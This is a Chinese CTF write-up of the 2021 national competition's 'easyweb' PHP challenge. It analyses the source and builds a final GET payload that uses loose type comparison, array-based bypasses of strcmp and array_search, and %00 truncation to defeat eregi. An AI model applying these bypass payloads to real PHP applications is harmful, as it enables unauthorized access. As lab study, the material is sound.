2021年第六届全国网络空间安全技术大赛 web easyweb

目录

整体思路

1. 对$v1进行分析

2. 对$V2进行分析

3. 对$V3进行分析


打开题目就是代码审计

<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
   is_numeric(@$a["bar1"])?die("nope"):NULL;
   if(@$a["bar1"]){
       ($a["bar1"]>2021)?$v1=1:NULL;
   }
   if(is_array(@$a["bar2"])){
       if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
       $pos = array_search("nudt", $a["a2"]);
       $pos===false?die("nope"):NULL;
       foreach($a["bar2"] as $key=>$val){
           $val==="nudt"?die("nope"):NULL;
       }
       $v2=1;
   }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
   if(!strcmp($c[1],$d) && $c[1]!==$d){
       eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
       strpos(($c[0].$d), "cstc2021")?$v3=1:NULL;
   }
}
if($v1 && $v2 && $v3){
   include "flag.php";
   echo $flag;
}
?>

粘贴到本地,分析一波

这个代码主要考查的知识点比较杂,包括进行一些绕过,%00截断eregi()函数,用的最多的还是php数组绕过

整体思路

我们需要输入的参数有三个,并且都是GET方式输入,经过代码执行,$v1,$v2,$v3会从0变为1,就会进行文件包含得到flag。

 

1. 对$v1进行分析

   is_numeric(@$a["bar1"])?die("nope"):NULL;
   if(@$a["bar1"]){
       ($a["bar1"]>2021)?$v1=1:NULL;

因为php的比较会先将两边的数据类型转化为同一类型,然后再进行比较。

如果,$a[“bar1”]=2022a,那么既可以满足不是数字类型,同时进行数据比较的时候也可以满足大于2021。

 

2. 对$V2进行分析

if(is_array(@$a["bar2"])){
       if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
       $pos = array_search("nudt", $a["a2"]);
       $pos===false?die("nope"):NULL;
       foreach($a["bar2"] as $key=>$val){
           $val==="nudt"?die("nope"):NULL;
       }
       $v2=1;

$a[“bar2”]必须要是五个元素,并且第一个元素需要是数组,

所以构造$a[“bar2”]=[[],1,2,3,4]

同时$a[“a2”]中存在nudt,

并且$a[“bar2”]中没有nudt,所以构造

foo={“bar1”:”2022a”,”bar2”: [[],1,2,3,4],”a2”:[“nudt”]}

 

3. 对$V3进行分析

$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
   if(!strcmp($c[1],$d) && $c[1]!==$d){
       eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
       strpos(($c[0].$d), "cstc2021")?$v3=1:NULL;
   }

1. GET方式传值cat和dog,然后进行strcmp比较,之前做过类似的题目,可以使用数组和字符串进行比较,返回NULL,同时也满足!==

2. 而eregi是对拼接后的字符串进行匹配(不过该函数有点老了),匹配到则die,

3. 而strpos又需要拼接后的字符串从第二个字符开始就是cstc2021(strpos下标是从0开始的),所以可以用%00进行截断

令%d=%00,$c[0]=acstc2021

这样的话,绕过eregi的同时又可以匹配到cstc2021

$d.$c[0]=%00acstc2021

$c[0].$d=acstc2021%00

所以最终的Payload:

?foo={"bar1":"2022a","bar2":[[],2,3,4,5],"a2":["nudt"]}&cat[0]=acstc2021&cat[1][]=&dog=%00

最终得到flag


总结:自己还是学得不到位,这个题目就浪费了许多时间,导致得分太低。本次比赛还是靠队友带了,惭愧。。。未来还有很长的路,加油学!!!!

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值